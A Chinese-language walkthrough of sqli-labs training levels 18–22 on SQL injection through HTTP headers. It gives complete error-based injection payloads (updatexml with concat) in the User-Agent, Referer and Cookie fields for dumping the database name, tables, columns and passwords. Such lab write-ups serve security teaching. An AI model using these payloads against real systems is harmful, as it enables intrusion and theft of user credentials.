sqli-labs靶场18-22关(http头)

目录

less18(user-agent)

less19(referer)

less20(cookie)

less21(cookie)

less22(cookie)



less18(user-agent)

这里尝试了多次注入,均没有成功。

但是发现,输入正确的用户名和密码后,会返回user-agent:

User-Agent: a or updatexml(1,concat(0x7e,(database()),0x7e),1) or 1=1------未成功注入

User-Agent: a**'or updatexml(1,concat(0x7e,(database()),0x7e),1) or 1='**1------成功注入,判断为单引号闭合!

User-Agent: a' and updatexml(1,concat(0x7e,(database()),0x7e),1) and '1'='1------爆数据库

这里最后不能用--+和#来截断后面的sql语句,因此使用'1'='1来闭合后面的单引号:

User-Agent: a' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1------爆表

User-Agent: a' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1) and '1'='1------爆字段名

User-Agent:a' and updatexml(1,concat(0x7e,(select group_concat(password) from security.users),0x7e),1) and '1'='1------爆数据



less19(referer)

同样的,只是这里是返回的是referer字段,抓包修改referer字段:

Referer:a or updatexml(1,concat(0x7e,(database()),0x7e),1) or 1=1------注入失败

Referer:a' or updatexml(1,concat(0x7e,(database()),0x7e),1) or 1='1------判断为单引号闭合

Referer:a' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1------爆表

Referer:a' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1) and '1'='1------爆字段名

Referer:a' and updatexml(1,concat(0x7e,(select group_concat(password) from security.users),0x7e),1) and '1'='1------爆数据



less20(cookie)

输入正确的用户名和密码后,会返回cookie内容:

抓包,在http history中,找到这个数据包,是GET型传参的数据包:

尝试对数据包中的cookie字段进行注入:

cookie:uname=admin'报错,admin'#不报错,判断为单引号闭合:

并且要么报错,要么显示cookie,那么就利用报错注入:

Cookie: uname=admin' and updatexml(1,concat(0x7e,(database()),0x7e),1)#------爆数据库:

Cookie: uname=admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#爆表名

Cookie: uname=admin'

and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1)#------爆字段名

Cookie: uname=admin' and updatexml(1,concat(0x7e,(select group_concat(password) from security.users),0x7e),1)#------爆数据



less21(cookie)

和20关差不多,只是这里对cookie返回的内容进行了base64加密,并且是')闭合:

抓包,在history中,找到该页面:

只需要在20关的基础上,对传参的内容进行base64编码,就行了:

同样的方法,只是这关判断为')闭合,不在赘述。



less22(cookie)

和20、21两关一样的道理,只是这关是双引号闭合,同样的方法,不在赘述。



相关推荐
千里码aicood2 小时前
springboot+vue心理健康服务小程序(源码+文档+调试+基础修改+答疑)
数据库·vue.js·spring boot
麦兜*2 小时前
Redis高可用架构设计:主从复制、哨兵、Cluster集群模式深度对比
java·数据库·spring boot·redis·spring·spring cloud·缓存
王嘉俊9252 小时前
Redis 入门:高效缓存与数据存储的利器
java·数据库·redis·后端·spring·缓存·springboot
王维2 小时前
【shardingsphere-jdbc】分表实践
java·数据库
xxy.c3 小时前
基于IMX6ULL芯片--I2C总线简单应用
数据库·mongodb
cookqq3 小时前
MongoDB源码分析慢日志:从配置到实现的完整解析
数据库·mongodb·nosql·慢日志
8K超高清3 小时前
汇世界迎全运 广州国际社区运动嘉年华举行,BOSMA博冠现场展示并分享与科技全运的故事
运维·服务器·网络·数据库·人工智能·科技
come112343 小时前
深入Spring Boot生态中最核心部分 数据库交互spring-boot-starter-data-jpa和Hibernate (指南五)
数据库·spring boot·hibernate
不剪发的Tony老师4 小时前
dbswitch:一款免费开源、功能强大的异构数据库迁移同步工具
数据库·etl·dbswitch
Crazy________5 小时前
13MySQL主从复制原理与搭建指南
数据库·mysql